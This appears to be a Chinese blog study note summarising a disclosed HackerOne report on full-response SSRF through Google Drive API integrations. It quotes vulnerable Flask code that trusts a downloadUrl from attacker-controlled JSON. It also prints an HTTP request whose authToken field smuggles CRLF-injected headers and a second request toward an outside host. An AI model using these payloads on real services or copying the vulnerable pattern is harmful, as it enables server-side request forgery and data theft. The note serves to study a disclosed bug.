报告:https://hackerone.com/reports/1406938
writeup: https://github.com/httpvoid/writeups/blob/main/Hacking-Google-Drive-Integrations.md
作者的意思是说,2019年作者挖过一个类似的洞,就是Vimeo 获取gdriver文件的流程。主要是怎么使用API来请求。
然后2022年,他在Dropbox也复现了。
集成Google Drive的流程

我在Google Drive上看到,很多程序其实是集成了gdrive的。 那怎么集成gdrive呢?
三种方式:
- 客户端嵌入
- 客户端获取URL,然后服务端下载
- 通过Gdrive API 获取服务端的文件
这里是第三种的方式出现了问题。
#List images from Gdrive
@app.route('/cloud/gdrive/list')
def list_files():
token = request.args.get('access_token')
html = ""
if token:
r = requests.get('https://www.googleapis.com/drive/v2/files/',headers={'Authorization': 'Bearer '+token})
resp = json.loads(r.text)
print(resp)
for file in resp['items']:
if file['mimeType'].startswith('image/'):
html += "<a href='/cloud/gdrive/fetch?file_id="+file['id']+"&access_token="+token+"'>"+file['title']+"</a><br>"
return "Select Gdrive image (max 1mb) to fetch <br><br>" + html
else:
return "Error"
#Render provided image id from gdrive
@app.route('/cloud/gdrive/fetch')
def fetch_gdrive_video():
token = request.args.get('access_token')
file_id = request.args.get('file_id')
if token and file_id:
try:
r = requests.get('https://www.googleapis.com/drive/v2/files/'+file_id,headers={'Authorization': 'Bearer '+token})
download_url = json.loads(r.text)['downloadUrl']
d = requests.get(download_url,headers={'Authorization': 'Bearer '+token})
except Exception as e:
return Response(str(e), headers={'Content-type':'text/plain'})
return Response(d.content, headers={'Content-type':'image/png'})
else:
return "Error"
看了一下,上面的代码。
有两个接口,一个是列出文件,另外一个展示图片

第二个接口如上的效果,你从request中得到token和file_id,然后通过带有headers验证的请求就请求内容,然后得到了下载的URL,你去请求这个URL就行了。
观察一下这个file_id,好像是很难控制的。但是,downloadUrl 是我们从JSON里面解析出来的。
看看文档:

我去google的文档上看了一下,链接:https://developers.google.com/drive/api/v3/manage-downloads#python
意思是说,alt=media 是一个系统参数。如果你使用客户端库的话,就不要用这个参数。
那如果在客户端请求这个参数会出现什么呢?
- 创建一个payload.txt
- 将相同的文件JSON放在文件中
- 将downloadUrl改成你的URL
- 使用alt=media来请求:格式 file_id =fileId? alt = media & access_token = abcdef
- 恶意JSON被解析,服务器点击我们构造的URL
- 导致了SSRF

这里我还是有点看不明白,加了alt=media,是不是,会去读文件的内容?
不需要alt=media
很多公司会把doc,slides和sheets都放到google dirve上
PUT /gdrive/import/ HTTP/2
Host: redacted.com
...
{"fileId":"gdrive_file_id","fileName":"testest","authToken":"gdrive_auth_token","fileType":"slides"}
这里就因为不能添加alt=media这种参数遭受攻击,但是可以使用下面的查询来攻击
PUT /gdrive/import/ HTTP/2
Host: redacted.com
...
{"fileId":"test","fileName":"test","authToken":"x\r\nSSRF:http://rce.ee/aaaaazzzzza\r\nConnection:keep-alive\r\n\r\nGET /drive/v2/files/1XfY_BqdWT-UWM2CNivW1lSR2GhRCizdJ?alt=media HTTP/1.1\r\nHost:www.googleapis.com\r\nAuthorization: Bearer REDACTEDr\n\r\n","fileType":"slides"}
在authToken中添加一个HTTP头和一个请求,这样就可以成功控制URL
确实云服务的hacking,越来越重要了。而且我们应该去通读云服务的文档,然后寻找弱点。
[…] Day032:漏洞报告学习之Full Response SSRF via Google Drive […]
赞赞
[…] Day032:漏洞报告学习之Full Response SSRF via Google Drive […]
赞赞